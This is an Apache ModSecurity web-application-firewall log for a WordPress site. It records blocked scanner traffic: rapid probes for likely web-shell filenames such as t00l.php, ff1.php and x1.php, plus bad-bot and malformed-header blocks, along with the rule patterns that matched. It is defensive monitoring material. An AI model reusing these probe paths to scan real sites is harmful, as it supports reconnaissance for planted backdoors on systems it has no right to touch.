[Thu Apr 02 18:10:33.441886 2026] [:error] [pid 59305:tid 59320] [client 51.75.119.161:37510] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ac5Amar2tV4rDwKFxKdJLgAAAMs"]
[Thu Apr 02 18:10:35.463768 2026] [:error] [pid 23927:tid 23934] [client 51.75.119.161:48958] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ac5Am0sZwqCndhl9uKB9mgAAAYU"]
[Thu Apr 02 18:10:37.491000 2026] [:error] [pid 29467:tid 29486] [client 51.75.119.161:48960] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ac5Anb4VUBFCJAq-WOkmCwAAARA"]
[Thu Apr 02 18:10:39.502500 2026] [:error] [pid 29467:tid 29494] [client 51.75.119.161:48964] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ac5An74VUBFCJAq-WOkmEgAAARg"]
[Thu Apr 02 18:10:41.503785 2026] [:error] [pid 29467:tid 29477] [client 51.75.119.161:48972] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "ac5Aob4VUBFCJAq-WOkmJwAAAQc"]
[Thu Apr 02 18:10:43.366898 2026] [:error] [pid 23927:tid 23953] [client 51.75.119.161:48974] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ac5Ao0sZwqCndhl9uKB9pgAAAZg"]
[Thu Apr 02 18:10:45.371905 2026] [:error] [pid 59200:tid 59244] [client 51.75.119.161:36090] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "ac5ApbfP26txrdLs3EpdLQAAAEQ"]
[Thu Apr 02 18:10:47.389073 2026] [:error] [pid 29467:tid 29486] [client 51.75.119.161:36102] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "ac5Ap74VUBFCJAq-WOkmTwAAARA"]
[Thu Apr 02 20:39:06.049129 2026] [:error] [pid 29467:tid 29474] [client 173.239.218.33:39909] [client 173.239.218.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "ac5jar4VUBFCJAq-WOma8gAAAQQ"]
[Thu Apr 02 21:08:12.298646 2026] [:error] [pid 37543:tid 37551] [client 113.174.149.146:54055] [client 113.174.149.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.174.149.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ac5qPHhdk2bEYJCvILbvvQAAAUY"]
[Thu Apr 02 21:33:10.923243 2026] [:error] [pid 29467:tid 29479] [client 43.131.253.14:53914] [client 43.131.253.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ac5wFr4VUBFCJAq-WOnAvAAAAQk"]
[Thu Apr 02 22:31:28.605874 2026] [:error] [pid 59201:tid 59288] [client 43.130.228.73:33554] [client 43.130.228.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ac59wMAC0Tw8eL6gzZ5BjwAAAJU"]
[Fri Apr 03 01:33:45.136933 2026] [:error] [pid 25470:tid 25477] [client 158.158.110.103:60100] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac6oeXhROcck6_9HYygYBAAAAMU"]
[Fri Apr 03 01:33:45.632140 2026] [:error] [pid 25470:tid 25487] [client 158.158.110.103:56263] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac6oeXhROcck6_9HYygYDAAAAM8"]
[Fri Apr 03 01:33:46.113006 2026] [:error] [pid 25470:tid 25477] [client 158.158.110.103:56297] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac6oenhROcck6_9HYygYFAAAAMU"]
[Fri Apr 03 01:33:46.618189 2026] [:error] [pid 25035:tid 25443] [client 158.158.110.103:52177] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac6oehhR292toNOkLqG2iwAAAIE"]
[Fri Apr 03 01:33:47.100488 2026] [:error] [pid 25470:tid 25493] [client 158.158.110.103:60159] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "ac6oe3hROcck6_9HYygYHwAAANU"]
[Fri Apr 03 01:33:47.579921 2026] [:error] [pid 25470:tid 25472] [client 158.158.110.103:56298] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "ac6oe3hROcck6_9HYygYJAAAAMA"]
[Fri Apr 03 01:33:48.068506 2026] [:error] [pid 25010:tid 25347] [client 158.158.110.103:57021] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "ac6ofI_KcjFQF5TuqTWoJAAAAAA"]
[Fri Apr 03 01:33:48.549432 2026] [:error] [pid 25470:tid 25492] [client 158.158.110.103:52171] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "ac6ofHhROcck6_9HYygYLAAAANQ"]
[Fri Apr 03 01:33:49.032969 2026] [:error] [pid 25470:tid 25474] [client 158.158.110.103:56999] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac6ofXhROcck6_9HYygYMgAAAMI"]
[Fri Apr 03 01:33:49.525701 2026] [:error] [pid 25018:tid 25430] [client 158.158.110.103:52198] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac6ofXupR6lXnAUzFGr4QAAAAFE"]
[Fri Apr 03 01:33:50.014102 2026] [:error] [pid 25470:tid 25479] [client 158.158.110.103:40931] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac6ofnhROcck6_9HYygYPAAAAMc"]
[Fri Apr 03 01:33:50.498295 2026] [:error] [pid 25010:tid 25372] [client 158.158.110.103:40956] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac6ofo_KcjFQF5TuqTWoJwAAABc"]
[Fri Apr 03 01:33:50.985743 2026] [:error] [pid 25470:tid 25483] [client 158.158.110.103:54588] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "ac6ofnhROcck6_9HYygYRwAAAMs"]
[Fri Apr 03 01:33:51.472689 2026] [:error] [pid 25470:tid 25487] [client 158.158.110.103:56996] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "ac6of3hROcck6_9HYygYTQAAAM8"]
[Fri Apr 03 01:33:51.951708 2026] [:error] [pid 25470:tid 25474] [client 158.158.110.103:54535] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "ac6of3hROcck6_9HYygYUwAAAMI"]
[Fri Apr 03 01:33:52.441316 2026] [:error] [pid 25018:tid 25434] [client 158.158.110.103:54545] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff1.php"] [unique_id "ac6ogHupR6lXnAUzFGr4QwAAAFU"]
[Fri Apr 03 01:33:52.930828 2026] [:error] [pid 25018:tid 25415] [client 158.158.110.103:54558] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1.php"] [unique_id "ac6ogHupR6lXnAUzFGr4RQAAAEM"]
[Fri Apr 03 01:33:53.410089 2026] [:error] [pid 25470:tid 25493] [client 158.158.110.103:52205] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1.php"] [unique_id "ac6ogXhROcck6_9HYygYYAAAANU"]
[Fri Apr 03 01:33:53.895934 2026] [:error] [pid 25035:tid 25466] [client 158.158.110.103:56312] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1.php"] [unique_id "ac6ogRhR292toNOkLqG2lAAAAJg"]
[Fri Apr 03 01:33:54.380910 2026] [:error] [pid 25470:tid 25473] [client 158.158.110.103:52223] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x1.php"] [unique_id "ac6ognhROcck6_9HYygYZQAAAME"]
[Fri Apr 03 01:33:54.882322 2026] [:error] [pid 25010:tid 25361] [client 158.158.110.103:52209] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ta0ol.php"] [unique_id "ac6ogo_KcjFQF5TuqTWoLQAAAAw"]
[Fri Apr 03 01:33:55.395734 2026] [:error] [pid 25470:tid 25483] [client 158.158.110.103:60128] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ta0ol.php"] [unique_id "ac6og3hROcck6_9HYygYawAAAMs"]
[Fri Apr 03 01:33:55.884715 2026] [:error] [pid 25470:tid 25482] [client 158.158.110.103:52220] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ta0ol.php"] [unique_id "ac6og3hROcck6_9HYygYbgAAAMo"]
[Fri Apr 03 01:33:56.377836 2026] [:error] [pid 25470:tid 25472] [client 158.158.110.103:60116] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ta0ol.php"] [unique_id "ac6ohHhROcck6_9HYygYcgAAAMA"]
[Fri Apr 03 01:33:56.860464 2026] [:error] [pid 25470:tid 25488] [client 158.158.110.103:54585] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "ac6ohHhROcck6_9HYygYdgAAANA"]
[Fri Apr 03 01:33:57.338701 2026] [:error] [pid 25018:tid 25431] [client 158.158.110.103:40935] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "ac6ohXupR6lXnAUzFGr4SAAAAFI"]
[Fri Apr 03 01:33:57.819286 2026] [:error] [pid 25010:tid 25349] [client 158.158.110.103:58830] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "ac6ohY_KcjFQF5TuqTWoNQAAAAI"]
[Fri Apr 03 01:33:58.310442 2026] [:error] [pid 25018:tid 25430] [client 158.158.110.103:57014] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "ac6ohnupR6lXnAUzFGr4SgAAAFE"]
[Fri Apr 03 01:33:58.796833 2026] [:error] [pid 25010:tid 25370] [client 158.158.110.103:57007] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24.php"] [unique_id "ac6oho_KcjFQF5TuqTWoOwAAABU"]
[Fri Apr 03 01:33:59.287153 2026] [:error] [pid 25470:tid 25491] [client 158.158.110.103:60106] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24.php"] [unique_id "ac6oh3hROcck6_9HYygYgAAAANM"]
[Fri Apr 03 01:33:59.773136 2026] [:error] [pid 25018:tid 25432] [client 158.158.110.103:40929] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24.php"] [unique_id "ac6oh3upR6lXnAUzFGr4TwAAAFM"]
[Fri Apr 03 01:34:00.265031 2026] [:error] [pid 25010:tid 25361] [client 158.158.110.103:56268] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24.php"] [unique_id "ac6oiI_KcjFQF5TuqTWoRAAAAAw"]
[Fri Apr 03 01:34:00.746870 2026] [:error] [pid 25035:tid 25460] [client 158.158.110.103:40952] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "ac6oiBhR292toNOkLqG2mAAAAJI"]
[Fri Apr 03 01:34:01.234515 2026] [:error] [pid 25035:tid 25442] [client 158.158.110.103:52117] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "ac6oiRhR292toNOkLqG2mgAAAIA"]
[Fri Apr 03 01:34:01.736179 2026] [:error] [pid 25470:tid 25476] [client 158.158.110.103:56316] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "ac6oiXhROcck6_9HYygYiAAAAMQ"]
[Fri Apr 03 01:34:02.218486 2026] [:error] [pid 25470:tid 25475] [client 158.158.110.103:56278] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "ac6oinhROcck6_9HYygYiQAAAMM"]
[Fri Apr 03 01:34:02.697091 2026] [:error] [pid 25035:tid 25465] [client 158.158.110.103:56982] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "ac6oihhR292toNOkLqG2mwAAAJc"]
[Fri Apr 03 01:34:03.187532 2026] [:error] [pid 25018:tid 25421] [client 158.158.110.103:52200] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "ac6oi3upR6lXnAUzFGr4VAAAAEg"]
[Fri Apr 03 01:34:03.669764 2026] [:error] [pid 25018:tid 25435] [client 158.158.110.103:54543] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "ac6oi3upR6lXnAUzFGr4VgAAAFY"]
[Fri Apr 03 01:34:04.158316 2026] [:error] [pid 25035:tid 25444] [client 158.158.110.103:56266] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "ac6ojBhR292toNOkLqG2ogAAAII"]
[Fri Apr 03 01:34:04.637249 2026] [:error] [pid 25035:tid 25458] [client 158.158.110.103:52105] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyiiz.php"] [unique_id "ac6ojBhR292toNOkLqG2pAAAAJA"]
[Fri Apr 03 01:34:05.120556 2026] [:error] [pid 25010:tid 25357] [client 158.158.110.103:40901] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyiiz.php"] [unique_id "ac6ojY_KcjFQF5TuqTWoUgAAAAk"]
[Fri Apr 03 01:34:05.601148 2026] [:error] [pid 25010:tid 25349] [client 158.158.110.103:40845] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyiiz.php"] [unique_id "ac6ojY_KcjFQF5TuqTWoVQAAAAI"]
